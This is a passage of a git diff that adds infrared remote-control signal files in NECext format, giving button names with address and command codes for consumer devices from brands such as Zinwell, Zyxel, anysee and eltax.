52 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 54 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 55 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 56 00 00 00 +# +name: SUBT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 58 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 59 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir b/assets/resources/infrared/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir new file mode 100644 index 000000000..c53a55b17 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 09 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 0B 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 0D 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 0E 00 00 00 +# +name: RADIO +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 10 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 12 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 13 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 14 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 16 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 17 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 1A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 1A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 1B 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 1C 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 1E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 1E 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 1F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 40 DF 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir b/assets/resources/infrared/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir new file mode 100644 index 000000000..007e3011b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 00 00 00 00 +# +name: Screen +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 08 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 20 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 28 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 30 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 40 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 48 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 50 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 60 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 68 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 70 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 80 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 88 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: 90 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: A0 00 00 00 +# +name: Present +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: A8 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: B0 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: C0 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: C8 00 00 00 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: D0 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: E0 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: E8 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 EF 00 00 +command: F0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir b/assets/resources/infrared/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir new file mode 100644 index 000000000..6915933f1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 00 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 02 00 00 00 +# +name: Minimize +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 03 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 05 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 07 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 08 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 09 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 0A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 0C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 0D 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 0E 00 00 00 +# +name: Shift +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 10 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 11 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 12 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 13 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir b/assets/resources/infrared/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir new file mode 100644 index 000000000..2cc2149d9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 10 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 11 00 00 00 +# +name: TOOL +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 12 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 13 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 15 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 17 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 18 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1B 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1D 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1E 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 40 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 41 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 42 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 43 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 44 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 45 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 46 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 47 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 48 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 49 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4A 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4B 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4E 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 50 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 51 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 52 00 00 00 +# +name: USB +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 53 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 54 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 55 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 56 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 57 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 58 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 59 00 00 00 +# +name: ROTATE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5A 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5D 00 00 00 +# +name: SERVER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5E 00 00 00 +# +name: KEY_IMAGES +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir new file mode 100644 index 000000000..98d0fa117 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: switch +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0F 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 13 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: vid-snd +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 17 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 18 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 19 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1A 00 00 00 +# +name: picture +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1B 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1C 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1D 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 20 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 21 00 00 00 +# +name: size +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 22 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 24 00 00 00 +# +name: KEY_F2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 25 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 42 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 44 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 47 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 48 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 49 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 50 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 51 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir b/assets/resources/infrared/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir new file mode 100644 index 000000000..49bef4c83 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 01 00 00 00 +# +name: REPEAT/M-UP +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 02 00 00 00 +# +name: SNOOZE +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 04 00 00 00 +# +name: STOP/BAND +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 09 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 0B 00 00 00 +# +name: PRESET_EQ +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 0C 00 00 00 +# +name: SKIP_+ +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 11 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 12 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 17 00 00 00 +# +name: SKIP_- +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 1F 00 00 00 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 81 81 00 00 +command: 60 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 81 81 00 00 +command: E0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir b/assets/resources/infrared/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir new file mode 100644 index 000000000..ebe1368b7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 14 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 15 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 16 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 17 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1B 00 00 00 +# +name: KEY_MEDIA_REPEAT +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1F 00 00 00 +# +name: X_KEY_CLOCK +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 4E 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 58 00 00 00 +# +name: X_KEY_SOURCE +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir new file mode 100644 index 000000000..2437de542 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: tvvcr +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir b/assets/resources/infrared/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir new file mode 100644 index 000000000..12e03fce2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: PGMPlay +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 00 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 01 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 02 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 07 00 00 00 +# +name: SearchLeft +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 08 00 00 00 +# +name: SearchRight +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 09 00 00 00 +# +name: SkipLeft +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0A 00 00 00 +# +name: SkipRight +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0F 00 00 00 +# +name: Index +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 10 00 00 00 +# +name: Call +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 11 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 12 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 13 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 14 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 15 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 16 00 00 00 +# +name: Remain +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 18 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 19 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1A 00 00 00 +# +name: All +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1B 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1C 00 00 00 +# +name: Intro +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir b/assets/resources/infrared/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir new file mode 100644 index 000000000..8d267ea12 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: Angle_(DVD_Function) +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 00 00 00 00 +# +name: Zoom_(DVD_Function) +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 02 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 03 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 05 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 06 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 07 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 08 00 00 00 +# +name: Mono/Stereo_(Tuner_Function) +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 09 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 0F 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 10 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 11 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 12 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 17 00 00 00 +# +name: Slow_(DVD_Function) +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 18 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 19 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 1B 00 00 00 +# +name: Pre/Tun_(Tuner_Function) +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 1D 00 00 00 +# 